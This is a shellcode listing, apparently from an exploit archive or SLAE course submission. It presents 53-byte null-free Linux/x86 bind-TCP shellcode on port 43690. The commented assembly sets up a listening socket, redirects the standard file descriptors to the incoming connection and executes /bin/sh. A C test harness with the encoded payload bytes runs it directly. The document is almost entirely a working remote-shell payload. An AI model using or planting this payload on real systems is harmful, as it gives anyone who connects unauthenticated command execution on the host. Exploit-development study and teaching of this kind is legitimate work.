53 bytes small Linux/x86 bind TCP port 43690 null-free shellcode.
f345374aa9c5b98d69c4892457777ca6#---------------------- DESCRIPTION -------------------------------------#
; Title: Linux/x86 bind tcp shellcode (port 43690) null-free
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 53 bytes
; SLAE ID: PA-9844
section .DATA
section .BSS
section .TEXT
global _start
_start:
; int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
cdq
push eax ; protocol - 0
push byte 0x1 ; type - SOCK_STREAM
push byte 0x2 ; dominio - AF_INET
mov ecx, esp
inc bl ; sys_socket
mov al, 102 ; socketcall system call
int 0x80
mov esi, eax ; save the socketfd
; bind(soc, (struct sockaddr *)&srv_addr, 0x10)
push edx
push word 0xAAAA
push word 2
mov ecx, esp
push byte 0x10 ; last argument
push ecx ; pointer to the structure
push esi ; socketfd
mov ecx, esp
inc bl ; bl contains 2
mov al, 102
int 0x80
; int listen(int sockfd, int backlog);
push edx
push esi
mov ecx, esp
mov bl, 0x4 ; bl contains 4
mov al, 102
int 0x80
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
push edx
push edx
push esi ; socketfd
mov ecx, esp
inc bl ; bl contains 5
mov al, 102
int 0x80
mov ebx, eax
; int dup2(int oldfd, int newfd, int flags);
xor ecx, ecx
mov cl, 3
l00p:
dec cl
mov al, 63
int 0x80
jnz l00p
; int execve(const char *filename, char *const argv[],char *const envp[])
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx, esp
push edx
push edx
mov ecx, esp
mov al, 0x0b
int 0x80
; exit syscall
xor eax, eax
mov al, 0x1
mov bl, 0x8
int 0x80
/*
shellcode.c program
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"
"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"
"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"
"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}